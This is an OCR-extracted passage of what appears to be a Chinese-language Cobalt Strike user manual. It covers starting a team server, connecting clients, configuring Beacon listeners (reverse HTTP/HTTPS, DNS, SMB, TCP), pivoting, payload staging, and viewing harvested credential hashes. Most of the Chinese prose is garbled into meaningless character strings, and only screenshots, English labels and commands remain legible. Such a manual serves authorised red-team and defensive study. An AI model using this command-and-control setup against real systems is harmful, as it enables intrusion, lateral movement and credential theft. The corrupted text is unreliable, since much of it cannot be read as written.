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$—= PSS Cobalt Strike fItH5R!

1.1 H4 2 Cobalt Strike?

Cobalt Strike 2—NAXFARIFLL A TEHMRIHFS, EERTHITE BN EIEN SR
ENEBETH. FEFRMIA Cobalt Strike FITHREEEAMEXRNIERIZE. HEAFMAIRIRE D FE
FARIIISIXLETNRE,

DMARC, EKIM, BRI > REEeh

HR R SRR BT m

Intrumentation EaiE
& Telemetry

AT " EResR "8 Telemetry

B e

FEE: BEPHY Intrumentation & Telemetry AMIRILAEMZEN [Rim{T/O5KE Agent & =i
TASIEI2] . Instrumentation IEMINIZELEEEBIREN LAIRRBEWES EREET
B, Telemetry IBRINIZEHXLINERT B HNS RN HEHTIA—L. (CRE— R
— o5 |BHERSS | ZAUAHISERIXERIIRE.

— IR EEAINT BRI FARE. Cobalt Strike Y system Profiler @— web 3, %M
BRFEFRHENKEE. MIERETKRENERSEBI RO ITEAR M &RIFAIERE.

HBEE— 1 E81E payload 5—NEEEEIR LTI payload MIREFIAIESES. Cobalt
Strike 1RLIEEBAISALEE HEERL Artifacts BN, Cobalt Strike MRS SHESE
payload. Beacon RUIEIR, BILAESUETHELAIMY artifacts FF,

{&£F3 Cobalt Strike FIMZEFIE T EZBH AU AEE BN HRI— 1 EZE A, Cobalt Strike AIRY
#®ia TRBRFHE MG ERA T GRRTENA,

{53 Cobalt Strike A9 Beacon Riz#{RAIBERNES. XNMEBIE payload (ERA—FHEH [ESXE
18] RBEEN, SREMTPIRERGEERXME. Beacon 2I@IT DNS, HTTP & HTTPS
FHEE (FAIRSS=S) . Beacon RAILIZEERANIERBERIEZE SN ENREREZE.

BERI BRI IRRS e, TTLAER Beacon B C2 ¥ EBIESINAL. LIRSS, &@idyd
Beacon EHifRiE. ILREE LZGE—EMBHESRHHERNEERE.
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FEE: FMBA EREF LXG—ERBREEXGE] | ITEAHF7RE GitHub FHR C2 48
MAHITRE SR crimeware M{FX, MEEIERE C2 FAENE. if Beacon BURESFIEE LXK

& NIE=37 5 N S S sk —
Zeus, Asprox EXEEERM. HTLUAZHEE. (%% Beacon 7aI9BH.
github.com/rsmudge/Malleable-C2-Profiles/tree/master/crimeware B a0 @0 &« 0 -
Pull requests Issues Marketplace Explore
Ersmudge / Malleable-C2-Profiles @ Watch~ | 39 o Star | 468 YFork 154
<> Code Issues 0 Pull requests 0 Actions Projects 0 Wiki Security Insights
Branch: master v | Malleable-C2-Profiles / crimeware / Create new file | Upload files = Find file = History
ﬂ rsmudge set the sample_name in these other profiles (the Indicators of Compro... - Latest commit 752d68e on 8 Apr 2018
[£) asprox.profile set the sample_name in these other profiles (the Indicators of Compro... 2 years ago
[2) backoff.profile set the sample_name in these other profiles (the Indicators of Compro... 2 years ago
[2) fiesta.profile added author 6 years ago
[2) fiesta2.profile set the sample_name in these other profiles (the Indicators of Compro... 2 years ago
[£) magnitude.profile set the sample_name in these other profiles (the Indicators of Compro... 2 years ago
[2) zeus.profile enhancements to the ZueS profile with some of 3.11's new capabilities. 2 years ago

Beacon {iHHIERLIAR BT R EEF] TCP sockets 7 FASBEER BB KNEEHNSEE
W48, SARMREEHTENURIIAERTBE). Cobalt Strike #FASRIMBUSEXRRAEAHMIMEAGED. &
ILI5%. AEISHER] Kerberos RS EIRHTIAAEH,

{5 Cobalt Strike BY user-exploitation T EkRERELRENXAINSSXEG, Cobalt Strike BYT{ESR
EEEAESERARNPBRBICRENEFETRIFEEE. (£ Browser Pivoting ZIRINEIZEBR
Internet Explorer 2 RAIMUEATIHIEIPR, X4 Cobalt Strike JRBRIARTEKX S &L mERRT LA
8, FHETLAGGS N ERSIIE.,

Cobalt Strike BIREIIREERT Cobalt Strike ERIRIISSRE. FILURMHEWEERR—NEEIRTE
=, XEMBIITLEMIMNEERE (C—ERERNER) FRILERET. AL Cobalt Strike
E R B RER S ERI R SR A= P RS E A FIETUSERIM R,

RF LARMELSER, FREXTHEBERME. BFhEER, IRESFRERRIR NER&RFS
IERAREISERR. XMIESMENE. RATTRERIBRIMETSZ=AZ Cobalt Strike KIBFR.
Cobalt Strike IRHRIRIRARIRIEN, HECEHTIRE/TAIRNIEINES S EEESRANRES, X&E
BULHE AT SR B .

1.2 ZEEHEFH

Strategic Cyber REFBERAT&IT T IERETF Windows, Linux 1 MacOS X B Cobalt Strike #4623,
24 Cobalt Strike, RF|EEFEBREINRIMERR L.

RRER

Cobalt Strike E3k Oracle Java 1.8, Oracle Java 11, 8% Open)DK 11,
NSRRI R G LEBRSTm, SRIRERE Cobalt Strike BIEHEZEA.
BT [E# EF

Cobalt Strike R1TEHEE Cobalt Strike [Fa188. ST EFHIEF. BAES Cobalt Strike F2F7
G, (RN {TEFEFARE N Cobalt Strike =g,
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cobaltstrike# ./update
[-1 I can not find your license key, please enter it now:
PO00-1111-2222-3333
[+] Calculate MD5: cobaltstrike.jar

[+] MD5: cobaltstrike.jar - 37d7fd5ceed369168300ce8l177c2bb58
[+] Checking for latest version

[+] Downloading the latest version of Cobalt Strike
Downloaded 512.0kb

El2. EFiiE (RR=, B2EPRY key FHEBER)

TBEERAY license key EHM{RAYEIBABRSS 28 0= P imi X NMA X, Cobalt Strike IZEBENHFE
. BIRSEEAFZEEIRA license,

1.3 BIPABRSSES

Cobalt Strike D AEFIREBEFIRSSAY. RES[/AH, U EFBAIRSE, £ Beacon payload Y
=28, R Cobalt Strike t2TFEINEERIEE . HPIRSZHEFIER Cobalt Strike WEERYEL
B, AEEAEHICE,

Cobalt Strike FIRAIRSS 2R AR SZHFAY Linux RFt Liz17. EfGo— Cobalt Strike HIBAIRSS 2],
{$F3 Cobalt Strike Linux 2= 5 teamserver FIZANII{E,
-/cobaltstrike# ./teamserver 192.168.1.4 password

[*] Generating X509 certificate and keystore (for 55L)
[+] Team server is up on 50050

[*] SHAl hash of 55L cert is: ldledf9c258T3ecad534d5c9]11e2300270b5aTe5
Offset is: 27006
[+] Listener: local - beacon http (windows/beacon_http/reverse_http) on port 80 started!

E3. EaIEIRIRSS =5

B IRSRE GRS EERMMIENSEFIR MERENSE. F— M iESEEFNIRSEZA95MBE]
X IP H#tik, Cobalt Strike ERIX/MEIEATRITHREFERRVEGATNMELE, S PESHEZRS, (R
BIFBARE RIBEAILLZBME S Cobalt Strike Z i F51EREZ Cobalt Strike FRAIRSZEE,

BENSHBEEN, XPMSHEE— [Q AR . F1EM2ESITICIINEE.

FUNSHBEEEN., SHUA vyyy-vm-op HEEIERISEERBAE. BARSSBSBEXNERAE
HIER A B4 RAYE S Beacon stage &, Beacon payload #Eltt HEAEEHESIE!T, FEAEL ARG
YNERIX Beacon payload BESRBEBENEER(XIA Beacon RIEHFHY exit IEIR),

HEBARSS2REE), ERARMHEIBAIRSSEEAY SSLIEFAI SHA256 hash, {REZLIRIEBAKR S KIX
N hash, S{RABIBARRIEZZIIRSS#3RS, ESMIIEEFRAIRSSE3/1. {th{IAY Cobalt Strike ZF
IR EIBEMIREFINXA hash . XZIREHPIEABERNEZRRIPENE.

1.4 Cobalt Strike Z i

{EF3 Cobalt Strike = Fim&EEERAIRSS =R, EE5 Cobalt Strike 2R, (ERERTIRAIFERIEX
HEAREIER.

= Cobalt Strike ZFImERT, REEEI—MNEEXIEE.
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| | )
Connect |___ o | X

Mew Profile This is the connect dialag. You should use it to connect
127.0.0.1 i toa Cobalt Strike (Aggressor) team server,
malwarec2.losen... |
| Host:  [127.0.0.1 |
Port: |s00s0 |
User: [neo |

Password: [**"“’“‘ l

[ Connect ” Help |

E4. Cobalt Strike EEIHEHE

£ Host (W) FRUSEIRAIZBAIRSSZRA0MENE, FIBARRSSBZAVEAIAIR/ 50050, RBLEERIX
PMEOAIRO. user FRIASRAVIEIR, SIRENBARSISRZESBRILIER. LU FRENS
RRISMS, FRIFELZERIEZRS (U0 Snowden HfiEE) . Password FRIESEPARSHINHZE
3.

R connect IZHIFIEREEZ Cobalt Strike RIFBAIRSSEE.

WNERIX B RE—REEE I HNIRSSEE, Cobalt Strike £BIIURERFINXNEIBAIRS 28I SHA256
hash, SNER{REIA, BBAIR ok, $Afg Cobalt Strike RIEFimMAiERZEIX MRS 2. Cobalt
Strike tRETERFAGEZETIT XA SHA256 hash, (RATLUEIL cobalt Strike

— Preferences — Fingerprints SEEIEXLHRAIRSEEM hash,

VerifyFingerprint
" The team server's fingerprint is:

ldledfac258f3eca’9534d5c911e23002f0b5aTes

Does this match the fingerprint shown
when the team server started?

5. IGUEARSS28AY SSLIER

Cobalt Strike S IREATRIEZZIRIFPAIRSZ SEHICHRAUER., WERINBEALFINEFE—EN RS S
profile (EFER) , FHECHERERIEENEENFER, REAJLUET cobalt
Strike — Preferences — Team Servers EEIR|IFIZE,

FEE:

NTIEEEEMRIER, EL#NE—3K Cobalt Strike 3.14 F cobalt
Strike — Preferences — Team Servers EIMAIELE] (B Cobalt Strike 4.0 B9EE], Aidlt
IR Ul ROZZRRIAR) -




L4

*\ Cobalt Strike This panel is a list of saved connection profiles. You may remove stored profiles
] console here.

& Fingerprints

B Graph Profiles: |19 .%9.5 .85 [ =2 ]

Reporting
[ statusbar

Team Servers

save

1.5 FHVFIEIPATEN

{23 Cobalt Strike SRIMAL RIS B TAN. ER—IHESHITEEND M ERAIZEL Cobalt Strike &
ithiRhe. EaIEIRS AR ILREIEA S HELER.

El6. 88/ Cobalt Strike B9 HIRFITEN
—BEiEEE— 1 HEIRSSES, (RAVEIBAE

o [ERERINSIE
o DEEML. FHERAVEUETN T HAYG
o BE—MENEHATRR

Cobalt Strike ZFimolgEEIZRIZ NN ANIRSSEE, 18iT cobalt Strike — New Connection (FriE

ER) RO RER. SERFISTERARSS:, —MIRESHIVE(R Cobalt Strike B0
AYJERER.

[12/22 14:29] xziaozue9d [lag: 00]
levens> ]

E7.1 ;2B Cobalt Strike ZFiRE /KSR

[09/11 17:30] rsmudgel [lag: 00]
T e S e R AR

‘\I phish | attack | post-ex long haul (persistence) |

7.2 BIRAARSS =Rt
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XM SCIHRERERRT Cobalt Strike BIAIRSS#FSLAIZETIR. B— T EIRSIHEEECHR
H, AR EREER. ISFEEGEREX MR IREES R X SHPARSS 28R TR
A, XMEHEEBFREATE Cobalt Strike ;EFHREPIRHREIAIRS 23,

FEE:

El7.24h, MBS =SZENEFOR [39&] . &l . [FEEE] | [KE (X

) | . XEEE R AT LARBRICEI RS BRE—I2E4L AT ENPROER. SRS EHEIMRSSR,

MEDHENL G, XEDHIVTIHERNERRE,
SEEFIZ P EIRARSS =S, Cobalt Strike 2ICRFTA EERIIEIARSERAVRITER. XFRERIFRM
—EBEBAMRS R AES | R T HEERS —SEIARS S LRSS MUSHIEIEdr e, EIRTEIRIRES,
Cobalt Strike R SEINRESEIRFMBIRERTINEIRS 2. SHXEEIERmA— I TEISH.

1.6 73 Cobalt Strike {RSHIAE

Cobalt Strike AIBIT BRI Aggressor Script IBSRNEREMIA. Aggressor Script 2 Armitage B9
Cortana HIAESHIBHMREE, BEAXMEHARS.

B1d cobalt Strike — Script Manager EITHIAHITEIR,

Event Log x| Scripts K]

path
frootfscripts/mymods.cna

[ Load | [ unioad | [ Help |

8. Script Manager (BIAETESE)

£ Cobalt Strike WE—PMEVABIRIA, TX T ERE Cobalt Strike I=HI R B R HFERFIMERE
B, 18T Aggressor Script 5|2, {RAILABEXLENANRE. RIBRAYMRIFIMEMIZRE Cobalt Strike,

{RETLASER Aggressor Script k45 Cobalt Strike A9 Beacon I NIFTAITIRERI{EISFERUESS Bk,
ETHREZ KT Aggressor Script RIRIR, BEEIIMY:

e https://www.cobaltstrike.com/aggressor-script/
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2.1 Bk

Cobalt Strike BF A2 AMERD. EONRERSIESBmAIMEHER. ZONRSER 7 8MR
5235/ Cobalt Strike THREBNRITEAMRE R, (RAILAREXEERD Z B, ZIREFEFE
BOXFANXIFRIAR /N,

'i Cobalt Strike oo =

Cobalt Strike Wiew Attacks Beporting Help
O0Q O H=¢ 82U B0 ca il

Beacon 10.10.10.188@8040 X | Processes 10.10.10.188@6984 X | Beacon 10.10.10.198@6984 X Beacon 10.10.10.191@4844 X

beacon> net computers
* sked beacon to run net computers
called home, sent: 87689 bytes

¥
Computers:

Server Hame IP Address

DEVELOPERHS

FILESERVER
W51 10 lo.191
Ws2 10,10, 10,190

[WS1] jim.stevens /4844 last: 2s

beacon=>

[&]9. Cobalt Strike BP0

2.2 TH%F

Cobalt Strike TREBAI T EARIRMLIE) Cobalt Strike HRITHEEAOMRIES. BN TEKILHASIETHR
{53 Cobalt Strike FIZHER,
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EERS— A RSEE.
BT A SEIREIRA RS SRE0ERE,

FEEFHEE Cobalt Strike FINEIRES,
s [REETSE] sIaikR,

A [=3E5E] R,
TR [Bin5IzR] BIRiierzat.
EERR.

EE5 MATSUE

ESEEICE.

EEREEE,

FERE—NFMERR Cobalt Strike BIHYTSZ4EE DLL,

i23E Java 52/ Applet I,
HR—EER] Miscrosoft Office 7=,
BEV—NTEREEE Web £i2I0E,

£ Cobalt Strike A9 web [RS8 Hirg— I rit,
EELETE Cobalt Strike B9 web FREEE FRISTEFIR A,

iAiE Cobalt Strike fY=350mE,
#7F Cobalt Strike,

2.3 EFHIBIRTIESR

Cobalt Strike BZMAIIHER, REABRIRITEN T HEBRATHHAIARRESERS .

{RATLABIE THREG Ccobalt strike — visualization (FIf{Y) SEEBEARRIAMMMTZNZIEL]
.

BiRE

BiRzkER T Cobalt Strike FUEIEREIFIBR, EIRRER TS/ BRI IP itblit, ©/Y NetBIOS
B, DURIFEEROER RS BiFrci— 1N EE. S8 BRRENNEIRER T ERRERSA.
e NERTEERERRLEIREE— N5 Z2@(E89 Cobalt Strike Beacon &1,

am PSS FlreE Feed <l B D OO

address = name note
MW 10.10.10.1 -
10.10.10.3 DC domain controller for CORP
Bl 10.10.105 MAIL
i? 10.10.10.7 FILESERVER
E® 10.10.10.21
B! 10.10.10.180 wWs2
i 10.10.10.191 Ws1
Y 10.10.10.198 DEVELOPERWS developer's system
™ 192.168.57.18 ubuntu
Kl 152.168.57.240 DEVELOPERWS
B 192.168.58.3 POWERDC
Bl 192.168.58.35 ENGINEER SCADA HMI

[E10. Cobalt Strike B#rLE

REFLFRR (address ) KHFEN. BR—THEERITA—IRE, WERBEGHIXEETAE
RGN, $ZE ctrl +Alt , RAEEEREREFRNREEEESE.

B3 BRI F R AR HEAR A BRI R F.
SER
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SIERER TP Beacon [BiEZ]TiX4E Cobalt Strike SLffl, Beacon & Cobalt Strike FIFH&EINE S
EE&E R payload, 1EIXEE, {RIEERIE Beacon HISM IP ik, PR IP Htk, 1% Beacon 9O
H5TES. U Beacon &fg—RENERIRE, LIREMER. 8—TRAOOE— 1 EiR, AT RBHEER
TUEMER R, MRLERELIERN. FETENE, IPANAL Beacon IZ{7EEIE RIPRAVHIE
f, —MEBHEIREKEL Beacon SIEFHEREAHECES TGS,

external internal = listener user computer note process pid arch last
B 10.10.10.7 sse= 10.10.10.3 local - http SYSTEM = DC rundil32 exe 2300 %64 30m
¥ 1010.10.181 === 10.10.10.7 local - http SYSTEM = FILESERVER rundli32 exe 2604 64 65
K} 1000147 10.10.10.181 local - http jim.stevens Ws1 jusched.exe 4844 %86 726ms
(=] 10.10.10.198 local - dns SYSTEM = DEVELOPERWS rundll32.exe 3100 xB6 655
W 101010198 == 10,10.10.188 local - dns |amie.Grins DEVELOPERWS SecurityHealthSy...
B 101010198 === 192.16857.18 local - dns jarins ubuntu am
Bl 1010.10.7 see= 192.16858.3 local - http SYSTEM * POWERDC rundll32 exe 3956 X649 3m
W 192168583 == 19216858.35 SYSTEM * ENGINEER rundll32 exe 1512 %86 3m

E]11. Cobalt Strike Beacon 18 TH

WNER{R{EE— DNS Beacon {50788, EjFE Cobalt Strike TES— X ELEFIRAIRS S22 BIASKIE(T
AXEFENIEE., NRRER—(THA last call time (LXRERERE) BIKE, {REtaILALSER
N Beacon EE—MEZSKBEEZER.

E—EEA Beacon LT LBEREE(RNGISIEERA.
Pivot

Cobalt Strike BEIZ1EZ 1 Beacon EHEEI— Mk, XLEHEERY Beacon MEEHAIAL Beacon FREEIEIL
e, HAXEGE, XTI RZEAMEH OF B ECENKEEREH, X8RI
EE B IEMNEASPRIEERRRFHIESIECEA, X Beacon &2 Cobalt Strike &RBIAITHEE
Z—.

Cobalt Strike I T{ERIRFEEIXFMEIEEDSS. BEXT Cobalt Strike (FREERIHIEZENEIRE
RER Beacon tBEENM, WIEAMATIMIBARIFFIIEMRIX L RAEEEMR, Xt EEEEE
Pivot BRI,

Pivot BIFf—fIEE BANARER 7 {REY Beacon §&, B— Beacon £iFEFE— MNINAIERR. 1
DUERTP—H, ENEVNNEFRR T ERRERS, REIREOEN. HFETERNE, BBAFRRL
Beacon IZTAEERNIRAVAEF. — MEEHEIRAEL Beacon RIEHEKEHHEEEZ T I

AN
AP o

BEXIEERMLZE(R Beacon payload UREHAR. FRBEEZFRRERT HTTP 5% HTTPS EEHM.
HEBE&RTER DNS M,

! g TSCONNECTFEI .I""

SYSTEM * SYSTEM *
POWERDC @ 3956 ENGINEER @ 1512

SYSTEM *
FILESERVER @ 26684

SYSTEM *
DEVELOPERWS @ 31680

Jamie.Grins jgrins
DEVELOPERWS @ 5532 ubuntu
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[E]12. Cobalt Strike E{&{1E

M— Beacon 1EEREEIFE— Beacon RUEMIEFILFIA™ Beacon Z[AIFEIER. HXMXIERE
{ZfEh, Cobalt Strike B9 Beacon {$F Windows #5435 &18F0 TCP sockets 4| EH{tbagBeacon,
BEENEELARHEEBBEE. SSH SIEHFER—MEEBNEL., —MIEENEFLREFZ— TCP
socket @&, —MIBRY (MREE) HEERY (TCP) &ikF&za—> Beacon EREHiR 7,

mE— Beacon FiEHE. B RENENH— N BEZEBRENER, RefLUEEs
Beacon, &{E ctrl +Alt , AEBEYRGRIEFNECEILERE ) Beacon,

f£—> Beacon L EARARFITH— KR, KB FEAESIEIR,
£ Pivot EFPIRAtE S MR RIER

o ctrl + + —FK

o ctrl +-——#FN

o ctrl + 0 —EBHEHLRT

o ctrl + A —EIRRTEEN

® Escape —ialRIEIE

o ctrl +c —BENHFIK— N ERE

o ctrl + s —EENHBIK—1T

e ctrl + H —BEVHBIEIRRETF (FIARHE)

AR Beacon, fE Pivot B EEdA#ERT R EILERIRS.

2.4 fRER
Cobalt Strike E—MMVIFETPHFFEIE, BHAHE, AEFETLEN x HAUKD—A

P&, A ctr1+p (Delete) AJLIKABRIEEERRNREN. ctrl+shift+p SXART S
ANFBBRIRE R IMIFTEIRE R,

REJLAE x FFSEEREARE, SHR—8Rm, 8F: A RRNE0PIFRER. 83—
IETERE. BEXHARBRIREIRER.

MFIXLIhEE, tRAXIMAYRER, £ ctrl+w  (Window) SRAEEIRE I THHRHEEAMNRE
W, fEA ctrl + T FREWRFIRIEBRIRS IR FREIE.

ctrl+8 (Bottom) SIEHRNMSEAIRETEENE Cobalt Strike BORYFEER. XX TRABZEFFERETI
BRETUREA. A ctrl + e ATLAEGHILLEE, FBBRTE Cobalt Strike B ERBRBAIFRE .

BiE shift @HRE x TUAKFARERSARER. BIHRE ctrl 7 shift #HFQE x JLUE
BRAYE O RFIFRE R,

5 ctrl + « 0 ctrl + - ERENERS TR Z aiE,
{RBAT L ABIS {5 AR A R S R R &,
2.5 i=glg

Cobalt Strike fRt—M=FIEES Beacon RiE. MIAFZE, (RETLUBTEH & SIRAIARIIR.
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Beacon 192.168.58.20@2948 X | Beacon 192.168.57.8@120 X | Beacon 10.10.10.189@3344 X

EventLog X | Credentials X

hian-3ubuntu?. 1)
6.1 name: BILLING-POWER domain: CORP)
ile 15 complet

Link to parent
Link te parent
hed Link to p:

con to prin
| home, sen
rectory is i

[BILLING-POWER] SYSTEM */2948 last: 39s

E13. —MEHIaiRER

EHESBERRNGSHE. REEEELILINSUBIRANGS, REE TSk LR EENR
BARIRE— <.

£ Tab BAILIANEASTISEL

fF ctrl + + ALUHEFRIEHRTZE KX, ctrl + - AJLUBMEFRIGRRY, #/ ctrl + 0 AJLIE
BEFHIEHA/N, WEXATYEHEHIE4ERL, 1Bd cobalt strike — Preferences ({RiF) KA
BEXFIK,

gcrl + FRER—NER, IHRETLEESIS P RERNAE,

-

Event Log X
Find: | ] <> -

fEA ctrl + A (ALL) =R XPEXAE.

2.6 3%

Cobalt Strike EAZRAIFIRRT2IE. KR, BIRI{TEITRRIEMER.

£ Cobalt Strike FRIAZHFREE—NETCRIEER—MAENRELTER. XEBSEEM
Cobalt Strike ZFiR+ eI Il BAEAREEMBIA,

E—MRAE ctrl + F AILETHRFRIERER. XM LALRESRIRIER PR TITIR.

address = name note
Bl 172.16.20.3 DC
B 172.16.20.80 GRAMNITE
Bl 172.16.20.81 CORPER
BN 172.16.20.128 metasploitable
W 172.16.20.143 MARBLE
M 172.16.20.163 QUARTZ
Fiter: | 1| [172.16.20.0/24 i laddress = | 1 filter applied Reset. | x
add.| | Irnpaort || Remave. | rHote....| Help

B4, mEERERAER

EERERAERIERNSNRASEINE, SR ERSBR T RS RN AT EENLE. FH
CIDRFEZE (J0: 192.168.1.0/24) FIENEE (192.168.1-192.169.200) FiTiEE S IP HhhAIS
B. FRAMFaEH=cERSESSHFNEE. FRERMT (. ?) RLEES=/FE%E.,
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| IRASBEARNE, & enter ROIREAINENBTHRIR. (RAULUMRERZESRAESHIF
HHfEEE—IE. Reset KIMISHIRNATIRRAITIRSRM.



B=F HiEEE

3.1 ik

Cobalt Strike BIFRNBRSS 28 21T50HAIE] Cobalt Strike WERIFFBEERIFER. Cobalt Strike f#tfr3k
HEHR Beacon payload 9%, REVH Bir. IRSBHEE.

WNER{FAESH Cobalt Strike B9EUE, 1BId Reporting — Export Data, Cobalt Strike J2{HFuFHIE
I IEHUESH I TSV 8 XML 324, Cobalt Strike ZPisHS HEIRINRES RS SR B (RS BIERERFT
BEHE RS EEHEE.

3.2 BtF

{RRJLABID view — Targets 35 Cobalt Strike HERAVEERE. XMI&ERERE BIRRNE
HRIER.

mE Import ESAN—NEEBIMSERIX4. Cobalt Strike EZFET—ANENY flat XA, 1B
FEZH Nmap &R XML 3 (-oX EIR) .

Flat File 2—ME 2B ENKREMINCRAU Y, XPREEERAREAN TR, it
MFRFEARCHABRR 7 BISA, TELCRTLERME Y [

M Add $ZHISRES Cobalt Strike FOBHRIEELRINFHAY B 1R,

Add Target - | d

Add a new target.

Address: [192.168.1.0/24 |

Mame: | '

0s; |Windm-.r:~ 8.1 -

Mote: |[ {

[ save ]

E15. S n—1 BFR

XASHEERIFRE Cobalt Strike FIEIERERINZS N EN. £ Address (3blh) FEISE—IP i
HERSEEELER CIDR RNER—KMNES N EN. ELEIEREINENRS, &E shift AILIES
ERE save ZEMRFXMIHEESTH.

SRS N ENARRLTARFTHENRS, BIXMRBRILUESSENNEE. REE(]
HURERSER, BENX N EIRERPBEREL.

3.3 RS3

£ Target (Bix) MES, E—aXNLBREARE, FHiEFE services (IRS) . XSFIFF
Cobalt Strike BIBRSSNISERE. EXERAILANGIRSS, LARRKRSEE, WALBRIRSSE.
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addrass port =~ banner mabe
10.10,10.0 Fd 55H-2.0-OpenS5H_%.3p1 Dabian-3ubuntu?.1 =
13.00,10.21 £ S5H-2.0-0pans5H_%.3pl Dabian-3ubuntu?
10.10.10.5 3 220 ACME Corporation Mail Server [hMailServar]
10.10.10.1 53
10.10.10.3 53
10.10.10.0 BD
10.10.10.21 BD
10.10.10.1 Bl
10.10.10.3 BB
10.10.10.5 110
10.10.10.3 135
[ pemeve || raste.. || Help |

E16. IRSXHEIE
3.4 FiE

B view — credentials 35 Cobalt Strike EIRRERZE., [ Add RERGTIERERIN—
F5RE. BN, RBATLURE shift @RERAEEIFHEEAEEMIFNEREESE. /T
Copy REHBFRIFEEIRVEMMR. ERA Export LA PWDump I SHFEE.

Credentials X

user password realm note source host

Guest 31dé&cfeddlfae... FILESERVER hashdump 10.10.10.4
SUPPORT_3889.. S5ace3B2672975... FILESERVER hashdump 10.10.10.4
Administrator 4d714387627d0... FILESERVER hashdump 10.10.10.4

[.add | | Edit. || copy.|| Remove || Help. |

E7. EEEE

3.5 45

Cobalt Strike FIEIEIEENG E AT B AIKSFIIRSTTEURTRMETE data/ USSR, data/ EFFREFEER
=17 Cobalt Strike FIBARRSS SSHIBRNSIA4SEER,

5% Cobalt Strike BIEIEIREY : ZIEHIRSSES, MR data/ XHEHERERSD. SR TXSsHER
ARS5ESAVATIR, Cobalt Strike 8% data/ 4K,

RIFEEFHEUEERE, BIEIEERS SR, ARERIRERIERFFS data/ XHRREX 47
EEMNE., BARMIERE, BIELERS=R, REBIERETIERE data/ X4k,

1B1d Reporting — Reset Data BJLAEAESHFIBAIRSSESAIEIR NEE Cobalt Strike FIEHEIZEL,
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M= HrzRflEilienEEE

4.1 Lk

HITENSE—SEEE I EMIZHE. B Cobalt Strike TS, EMtiREH— S HARSSE. &
EMEELARIEMRIEIA RS SSFIEEMESH DNS iICREK. —EFRARSSEEHFET, REFE
EEFCHEERE NRECREZ ERFHIEE. RITERHLE Cobalt Strike HRASRHATIXFMES AL
il

—/NEITESEER— payload BIECE(ERE., BRI Z Cobalt Strike Ee—MRFZEERIFWRBIX
payload BUIEREANIER. —MNERSHAFPENXABFR. payload SEEFJLMFET payload ANELIHE
}520

4.2 BIFREE

EETH Cobalt Strike BUYSITEE, 1BiT cobalt Strike — Listeners ., X&FJF—MrEHR, FI%H
FrB{REVBCERY payload FIEITES.

Cobalt Strike 4.0:

Eventlog X | Listeners X |

name = payload host port bindto beacons profile
ec2 -HTTP Beacon windows/beacon_http/reverse_http secure.losenolove.c... 80 secure losenoclove.com default
SMB score_pd233 windows/beacon_bind_pipe score_pd233

TCP 9002 (Local) windows/beacon_bind_tep

Add|[_edit | [_Remove [ Restart |[_Help ]

E18. IS EEiR&E T
FEE:

TEIE Cobalt Strike 3.12FPRY IS IF S STEFRES TR, XELAILAERI 4.0 27 bindto 1 profile
FER:

P

Listeners X

name payload host port beacons
hi windows/beacon_https/reverse_https 1. 3 8080
forieign-h windows/foreign/reverse_tcp . 8 8085

[ Add H Edit H Remove H Restart H Help ]

& add RO — RS ITRS.

SREZE—PIRITER, FRIREGHE—MIFICAIRTR. £ Cobalt Strike BaR A TERAEHRFRE(EF
2 FRFS | ALt Tas.

BURIENITER, Gh—PElTEs, SR Edit,
ERR— 1 hlres, Gz, SR Remove

4.3 Cobalt Strike Y Beacon Payload
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BEINERE, REEAN Cobalt Strike A9 Beacon payload EE 15028, Beacon & Cobalt Strike
#9 payload, FATFEESHKNEE. FA Beacon K& HTTP, HTTPS & DNS HOMEE, {RtETLA
B2 Rap E18F] TCP sockets AIXIF (peer-to-peer) Beacon MMPRFILEARLS, R7EFER
o ENBEEENE.

Beacon fRRiE, IFRLBERIMRENEEER. REBENEREE: Beacon REIERIIKRS
sr. NEEMES, REAIK. XEUBERSERAERN.

Beacon BN mEIStrEEREM. TLUMER Cobalt Strike BIATHRER C2 E=KEFEN Beacon
AUEB(S. XAUFRIEES Beacon 1758, LHIEEREFERGEMIGERRYE, XSEBEREBANE

AEERE. B11ZLTHCLIEE,
4.4 Payload Staging

ERESEEE, —MEB—IRBERE payload staging (£BERIEE: payload) ., TERSINHELRN

Rt R 7 IEHIRERITIIAS. payload BEKEHEHITAINS. payload BEHS AMERS

payload stage # payload stager, stager @—1MER, BEEF LML HES, BFF&E—
payload stage. {BEEANRTF, ARNEEGAHITHS, XMIEWIR staging (DMER) .

staging (DMER) SREE—LREHTHFEVERN, REREFXITEEINEHAFHERITRIEFIA
[EHTRIEHE AR/ MFETISRE . XSRAUIRENRAESERRE, BRIHMROMBREXFIEEE
payload,

Cobalt Strike FEERIFAF NI EH R staging (DHER) » KSHIXEIMBHE

Attacks — Packages F]Attacks — web Drive-by BEIN T, ERHARER stager BURTFSITEERS
A9 payload, tb#n, HTTP Beacon H— HTTP stager, DNS Beacon B— DNS TXT iCs stager,
EFTERY payload #85 stager &I, %A stager RY Payload ABE(EARIXLLITHEIUR I,

WNRIRAEE payload staging (DFER) , BITEIRRY C2 HESUHE host_stage BEINIRA
false, {REILARENXME, XEBELE Cobalt Strike FEEL web #1 DNS fR5388 HEE payload

stage, XMIREEHTIRTARE (BRARBIE) , EANRART staging (DMER) , {HIAES
BEIERNRROBRSSEE £, 1B K—> payload. HHOTERNIRNE, MMEILAMIREY payload EEEFIREUE
=R

{£ Cobalt Strike 4.0 RLAGRINRFH, ESEMERBHNITHETY stager HikiFEXBaIREANRE
—A 50 payload, MRIFZEAT payload staging (3ME) . BBARMHFESMEEERAIR
RLiZA &SN,

4.5 HTTP Beacon #1 HTTPS Beacon

BINIRBIERT, HTTP #] HTTPS Beacon i&@id HTTP GET 5K FE{ESE. 1XLE Beacon i&@id HTTP
POST iExRkEREIE, REATLLEIY C2 HAESERIRITBEAIEHIXAN payload BT AFNIREISIR.

BEFE— HTTP 8¢ HTTPS Beacon Y51f28, 1B cobalt Stike — Listeners. M5 Add #&$H, %
1% Beacon HTTP {EA{RAY payload IR,

4.0:
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Craata a listaner,

Mame: [lacal - htp |

Payload: |Beacon HTTP - |

Payload Options

HTTP Hasts: W | OEanIoloe Cam

[+

xofo

HTTP Hast [Stager): [other losenclove.com

Profile: |dsfauic =

HTTP Port (C2): [B0

HTTE Port (Bind): |

HTTP Host Header: |

HTTP Prosxy: [ [
[ save_|[ Help

E]19. HTTP Beacon &Il

B New Listener

Create a listener.

Name: I

Payload: |hnuind0wsfheacon_httpfreverse_http

B New Listener

Create a listener.

Name: [

Payload: |§windowsfbeacon_httpsfreverse_https v||

Host: I Host: [ l

Port: I Port: [ l

& [+] /9 HTTP Beacon IEIN—PE S MEIERNENL. & [ FKBHR—IEHSIEN. & X KB
BREFIEN., MRFESNEN, PARATLEIHEEFHUEINES S RNEIEENSIER, X017
Y.

